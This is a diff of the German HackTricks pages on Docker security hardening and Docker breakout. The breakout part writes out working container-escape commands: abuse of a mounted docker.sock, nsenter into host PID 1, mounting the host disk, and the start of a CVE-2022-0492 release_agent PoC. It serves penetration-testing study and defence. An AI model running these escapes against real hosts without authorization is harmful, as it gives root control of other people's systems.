Dies ermöglicht die Reduzierung von Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner...
Dies ermöglicht die Reduzierung von Fähigkeiten, Syscalls, Zugriff auf Dateien und Ordner...
</details>
@ -182,7 +142,7 @@ Für **weitere Informationen zu den Namespaces** besuchen Sie die folgende Seite
### cgroups
Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung des cgroup-Features, das eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
Im Folgenden wird ein Container erstellt, dessen Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB begrenzt ist, der CPU-Anteil auf 512, und das Blkioweight auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und liegt zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33 % der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und liegt zwischen 10 und 1000.
Im Folgenden wird ein Container erstellt, dessen Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB begrenzt ist, die CPU-Anteile auf 512, die Blkioweight auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33 % der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,7 +160,7 @@ Für weitere Informationen siehe:
### Berechtigungen
Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Berechtigungsmerkmal, um die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können, unabhängig vom Typ des Benutzers.
Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Berechtigungsmerkmal, um die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können, unabhängig vom Benutzertyp.
Wenn ein Docker-Container ausgeführt wird, verwirft der Prozess sensible Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen. Dies soll sicherstellen, dass der Prozess keine sensiblen Aktionen ausführen und ausbrechen kann:
@ -210,7 +170,7 @@ Wenn ein Docker-Container ausgeführt wird, verwirft der Prozess sensible Berech
### Seccomp in Docker
Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, die Systemaufrufe zu begrenzen, die innerhalb des Containers verwendet werden können:
Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, die Syscalls zu begrenzen, die innerhalb des Containers verwendet werden können:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@ -226,9 +186,9 @@ AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von
### SELinux in Docker
* **Beschriftungssystem**: SELinux weist jedem Prozess und Dateisystemobjekt ein eindeutiges Label zu.
* **Beschriftungssystem**: SELinux weist jedem Prozess und jedem Dateisystemobjekt ein eindeutiges Label zu.
* **Richtliniendurchsetzung**: Es setzt Sicherheitsrichtlinien durch, die definieren, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann.
* **Container-Prozesslabels**: Wenn Container-Engines Containerprozesse initiieren, werden ihnen in der Regel eingeschränkte SELinux-Labels zugewiesen, üblicherweise `container_t`.
* **Container-Prozesslabels**: Wenn Container-Engines Containerprozesse initiieren, wird ihnen in der Regel ein eingeschränktes SELinux-Label zugewiesen, üblicherweise `container_t`.
* **Dateibeschriftung innerhalb von Containern**: Dateien innerhalb des Containers sind normalerweise als `container_file_t` gekennzeichnet.
* **Richtlinienregeln**: Die SELinux-Richtlinie stellt hauptsächlich sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind.
@ -240,9 +200,9 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
### AuthZ & AuthN
In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden sollen. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Dämon zugelassen oder blockiert werden sollen. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
* **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben.
* **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie wer sie sind und wie sie sich authentifiziert haben.
* **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
@ -281,7 +241,7 @@ Auf der folgenden Seite können Sie lernen, **was das `--privileged`-Flag bedeut
#### no-new-privileges
Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Berechtigungen erhält. Wenn Sie eine **falsch konfigurierte suid-Binärdatei** haben, kann der Angreifer sie missbrauchen und **Berechtigungen innerhalb** des Containers **eskaliert**, was es ihm ermöglichen könnte, daraus zu entkommen.
Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Berechtigungen erhält. Wenn Sie eine **falsch konfigurierte SUID-Binärdatei** haben, kann der Angreifer sie missbrauchen und **Berechtigungen innerhalb** des Containers **eskaliert**, was es ihm ermöglichen könnte, daraus zu entkommen.
Das Ausführen des Containers mit der Option **`no-new-privileges`** aktiviert verhindert diese Art von Berechtigungserweiterung.
```
@ -312,19 +272,19 @@ Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder
**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken im Zusammenhang mit `docker inspect` und Logging zu mindern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen.
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse erforderlich sind, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Buildzeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bereitstellen.
**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse benötigt werden, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Build-Zeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bereitstellen.
Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden:
1. Über eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
1. Durch eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
2. Durch Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
3. Durch die Aktivierung als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker.
BuildKit ermöglicht die Verwendung von Buildzeit-Geheimnissen mit der `--secret` Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind, unter Verwendung eines Befehls wie:
BuildKit ermöglicht die Verwendung von Build-Zeit-Geheimnissen mit der `--secret` Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind, unter Verwendung eines Befehls wie:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Für benötigte Geheimnisse in einem laufenden Container bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition zur Angabe von Geheimdateien, wie im folgenden Beispiel einer `docker-compose.yml` gezeigt:
Für benötigte Geheimnisse in einem laufenden Container bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition zur Spezifizierung von Geheimdateien, wie im folgenden Beispiel einer `docker-compose.yml` gezeigt:
```yaml
version: "3.7"
services:
@ -343,7 +303,7 @@ In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools
### gVisor
**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Es enthält einen [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitnamens `runsc`, der eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeit integriert sich mit Docker und Kubernetes und macht es einfach, Sandbox-Container auszuführen.
**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Es enthält einen [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitumgebung namens `runsc`, die eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeitumgebung integriert sich mit Docker und Kubernetes und ermöglicht es, Sandbox-Container einfach auszuführen.
{% embed url="https://github.com/google/gvisor" %}
@ -353,22 +313,22 @@ In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools
{% embed url="https://katacontainers.io/" %}
### Zusammenfassung der Tipps
### Zusammenfassungstipps
* Verwenden Sie nicht das `--privileged`-Flag oder binden Sie einen **Docker-Socket innerhalb des Containers** ein. Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu übernehmen, beispielsweise durch Ausführen eines anderen Containers mit dem `--privileged`-Flag.
* Führen Sie nicht als Root innerhalb des Containers aus. Verwenden Sie einen **anderen Benutzer** und **Benutzernamensräume**. Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen neu zugeordnet. Er wird nur leicht durch hauptsächlich Linux-Namespaces, Fähigkeiten und cgroups eingeschränkt.
* **Verwerfen Sie alle Fähigkeiten** (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die erforderlich sind (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von ihnen erhöht den Umfang eines potenziellen Angriffs.
* Verwenden Sie nicht das `--privileged`-Flag oder binden Sie einen **Docker-Socket innerhalb des Containers** ein. Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu übernehmen, beispielsweise durch das Ausführen eines weiteren Containers mit dem `--privileged`-Flag.
* Führen Sie nicht als Root innerhalb des Containers aus. Verwenden Sie einen **anderen Benutzer** und **Benutzernamensräume**. Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen neu zugeordnet. Er wird nur leicht durch Linux-Namespaces, Fähigkeiten und cgroups eingeschränkt.
* **Verwerfen Sie alle Fähigkeiten** (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die erforderlich sind (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
* Verwenden Sie die Sicherheitsoption **"no-new-privileges"**, um zu verhindern, dass Prozesse mehr Berechtigungen erlangen, beispielsweise durch suid-Binärdateien.
* **Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen.
* Passen Sie die **seccomp**, **AppArmor** (oder SELinux)-Profile an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das erforderliche Minimum zu beschränken.
* Verwenden Sie **offizielle Docker-Images** und verlangen Sie Signaturen oder erstellen Sie Ihre eigenen darauf basierend. Vererben oder verwenden Sie keine mit Hintertüren versehenen Images. Speichern Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
* **Erstellen Sie regelmäßig** Ihre Images neu, um **Sicherheitspatches auf dem Host und den Images anzuwenden**.
* Passen Sie **Seccomp**, **AppArmor** (oder SELinux)-Profile an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das erforderliche Minimum zu beschränken.
* Verwenden Sie **offizielle Docker-Images** und verlangen Sie Signaturen oder erstellen Sie eigene Images basierend darauf. Vererben oder verwenden Sie keine mit Hintertüren versehenen Images. Speichern Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
* **Erstellen Sie regelmäßig** Ihre Images neu, um Sicherheitspatches auf dem Host und den Images anzuwenden.
* Verwalten Sie Ihre **Secrets klug**, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
* Wenn Sie den Docker-Daemon freigeben, verwenden Sie HTTPS mit Client- und Serverauthentifizierung.
* Verwenden Sie in Ihrem Dockerfile **COPY anstelle von ADD**. ADD extrahiert automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY verfügt nicht über diese Funktionen. Vermeiden Sie nach Möglichkeit die Verwendung von ADD, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
* Verwenden Sie in Ihrem Dockerfile **COPY anstelle von ADD**. ADD extrahiert automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY hat diese Fähigkeiten nicht. Vermeiden Sie nach Möglichkeit die Verwendung von ADD, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
* Verwenden Sie **getrennte Container für jeden Mikrodienst**.
* **Fügen Sie kein SSH** in den Container ein, "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen.
* Verwenden Sie **kleinere** Container-Images.
* Verwenden Sie **kleinere** Container-Images
## Docker Ausbruch / Privilege Escalation
@ -407,7 +367,7 @@ Sie müssen das Tool auf dem Host ausführen, auf dem Docker ausgeführt wird, o
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
@ -416,14 +376,12 @@ Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, um HackTricks zu unterstützen:
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -1,38 +1,38 @@
# Docker Breakout / Privilege Escalation
# Docker Ausbruch / Privilege Escalation
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Automatische Enumeration & Escape
## Automatische Enumeration & Flucht
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Es kann auch **Container aufzählen**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Dieses Tool ist ziemlich **nützlich, um den Container zu enumerieren, in dem Sie sich befinden, und sogar automatisch zu entkommen**
* [**amicontained**](https://github.com/genuinetools/amicontained): Nützliches Tool, um die Privilegien des Containers zu erhalten, um Wege zu finden, daraus zu entkommen
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Dieses Tool ist ziemlich **nützlich, um den Container zu aufzählen, in dem Sie sich befinden, und sogar automatisch zu versuchen zu entkommen**
* [**amicontained**](https://github.com/genuinetools/amicontained): Nützliches Tool, um die Berechtigungen des Containers zu erhalten, um Wege zu finden, daraus zu entkommen
* [**deepce**](https://github.com/stealthcopter/deepce): Tool zum Aufzählen und Entkommen aus Containern
* [**grype**](https://github.com/anchore/grype): Erhalten Sie die CVEs, die in der installierten Software des Images enthalten sind
## Escape über gemounteten Docker-Socket
## Montierter Docker-Socket-Ausbruch
Wenn Sie irgendwie feststellen, dass der **Docker-Socket im Docker-Container gemountet ist**, können Sie daraus entkommen.\
Wenn Sie auf irgendeine Weise feststellen, dass der **Docker-Socket im Docker-Container eingebunden ist**, können Sie daraus entkommen.\
Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.
```bash
#Search the socket
@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
Falls der Docker-Socket an einem unerwarteten Ort ist, können Sie dennoch mit dem Befehl **`docker`** und dem Parameter **`-H unix:///path/to/docker.sock`** darauf zugreifen.
Falls der **Docker-Socket an einem unerwarteten Ort** ist, können Sie dennoch mit dem Befehl **`docker`** und dem Parameter **`-H unix:///pfad/zum/docker.sock`** kommunizieren.
{% endhint %}
Der Docker-Daemon kann auch auf einem Port (standardmäßig 2375, 2376) lauschen oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket `fd://` erfolgen.
Der Docker-Daemon könnte auch auf einem Port lauschen (standardmäßig 2375, 2376) oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket `fd://` erfolgen.
{% hint style="info" %}
Beachten Sie außerdem die Laufzeit-Sockets anderer High-Level-Runtimes:
Zusätzlich sollten Sie auf die Laufzeit-Sockets anderer High-Level-Laufzeiten achten:
* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
@ -70,23 +70,23 @@ Beachten Sie außerdem die Laufzeit-Sockets anderer High-Level-Runtimes:
* ...
{% endhint %}
## Missbrauch von Berechtigungen
## Missbrauch von Berechtigungen entkommen
Überprüfen Sie die Berechtigungen des Containers. Wenn er eine der folgenden Berechtigungen hat, können Sie möglicherweise daraus entkommen: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden hat, könnten Sie daraus entkommen: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Sie können die aktuellen Berechtigungen des Containers mit den zuvor genannten automatischen Tools oder mit dem Befehl `getcap` überprüfen.
Sie können die aktuellen Container-Berechtigungen mit den **zuvor genannten automatischen Tools** oder überprüfen:
```bash
capsh --print
```
Auf der folgenden Seite können Sie mehr über Linux-Fähigkeiten erfahren und wie Sie sie missbrauchen können, um Privilegien zu entkommen/zu eskalieren:
Auf der folgenden Seite können Sie mehr über Linux-Fähigkeiten erfahren und wie Sie sie missbrauchen können, um Berechtigungen zu umgehen/zu eskalieren:
{% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md)
{% endcontent-ref %}
## Entkommen aus privilegierten Containern
## Ausbruch aus privilegierten Containern
Ein privilegierter Container kann mit der Flagge `--privileged` erstellt werden oder indem bestimmte Abwehrmaßnahmen deaktiviert werden:
Ein privilegierter Container kann mit der Flagge `--privileged` erstellt werden oder indem spezifische Abwehrmechanismen deaktiviert werden:
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -98,7 +98,7 @@ Ein privilegierter Container kann mit der Flagge `--privileged` erstellt werden
* `--cgroupns=host`
* `Mount /dev`
Die `--privileged`-Flagge senkt die Sicherheit des Containers erheblich und bietet uneingeschränkten Gerätezugriff und umgeht mehrere Schutzmaßnahmen. Eine detaillierte Aufschlüsselung finden Sie in der Dokumentation zu den vollständigen Auswirkungen von `--privileged`.
Die `--privileged`-Flagge senkt die Sicherheit des Containers erheblich, bietet **uneingeschränkten Gerätezugriff** und umgeht **mehrere Schutzmechanismen**. Für eine detaillierte Aufschlüsselung siehe die Dokumentation zu den vollständigen Auswirkungen von `--privileged`.
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
@ -106,36 +106,36 @@ Die `--privileged`-Flagge senkt die Sicherheit des Containers erheblich und biet
### Privileged + hostPID
Mit diesen Berechtigungen können Sie einfach in den Namespace eines als Root ausgeführten Prozesses im Host wechseln, wie z.B. init (pid:1), indem Sie einfach Folgendes ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Mit diesen Berechtigungen können Sie einfach **in den Namespace eines als root auf dem Host ausgeführten Prozesses** wie init (pid:1) wechseln, indem Sie einfach ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Testen Sie es in einem Container, indem Sie Folgendes ausführen:
Testen Sie dies in einem Container durch Ausführen:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privilegiert
### Privileged
Nur mit dem privilegierten Flag kannst du versuchen, auf die Festplatte des Hosts zuzugreifen oder versuchen, durch Missbrauch von release\_agent oder anderen Escapes zu entkommen.
Nur mit der privilegierten Flagge können Sie versuchen, **auf die Festplatte des Hosts zuzugreifen** oder versuchen, **sich durch die Ausnutzung von release\_agent oder anderen Escapes zu befreien**.
Teste die folgenden Umgehungen in einem Container, indem du Folgendes ausführst:
Testen Sie die folgenden Umgehungen in einem Container, der ausgeführt wird:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Mounten der Festplatte - Poc1
#### Einbinden von Festplatte - Poc1
Gut konfigurierte Docker-Container erlauben keinen Befehl wie **fdisk -l**. Bei einer fehlerhaft konfigurierten Docker-Befehlszeile, bei der die Option `--privileged` oder `--device=/dev/sda1` mit Berechtigungen angegeben ist, ist es jedoch möglich, die Berechtigungen zum Anzeigen des Host-Laufwerks zu erhalten.
Gut konfigurierte Docker-Container werden den Befehl **fdisk -l** nicht zulassen. Auf einem falsch konfigurierten Docker-Befehl, bei dem die Option `--privileged` oder `--device=/dev/sda1` mit Caps angegeben ist, ist es jedoch möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Um die Kontrolle über die Host-Maschine zu übernehmen, ist es trivial:
Um also die Kontrolle über die Host-Maschine zu übernehmen, ist es trivial:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im Ordner `/mnt/hola` eingebunden ist.
#### Mounten der Festplatte - Poc2
#### Einhängen der Festplatte - Poc2
Innerhalb des Containers kann ein Angreifer versuchen, über ein beschreibbares hostPath-Volumen, das vom Cluster erstellt wurde, weiteren Zugriff auf das zugrunde liegende Host-Betriebssystem zu erlangen. Im Folgenden finden Sie einige gängige Dinge, die Sie innerhalb des Containers überprüfen können, um festzustellen, ob Sie diesen Angriffsvektor nutzen können:
Innerhalb des Containers kann ein Angreifer versuchen, über ein beschreibbares hostPath-Volume, das vom Cluster erstellt wurde, weiteren Zugriff auf das zugrunde liegende Host-Betriebssystem zu erlangen. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie im Container überprüfen können, um zu sehen, ob Sie diesen Angriffsvektor nutzen können:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privilegierter Ausbruch durch Ausnutzung des vorhandenen release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Ausnutzung des vorhandenen release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="Ursprünglicher PoC" %}
```bash
@ -194,7 +194,7 @@ cat /o
```
{% endcode %}
#### Privileged Escape durch Ausnutzung des erstellten release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Privileged Escape durch Ausnutzung des erstellten release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="Zweiter PoC" %}
```bash
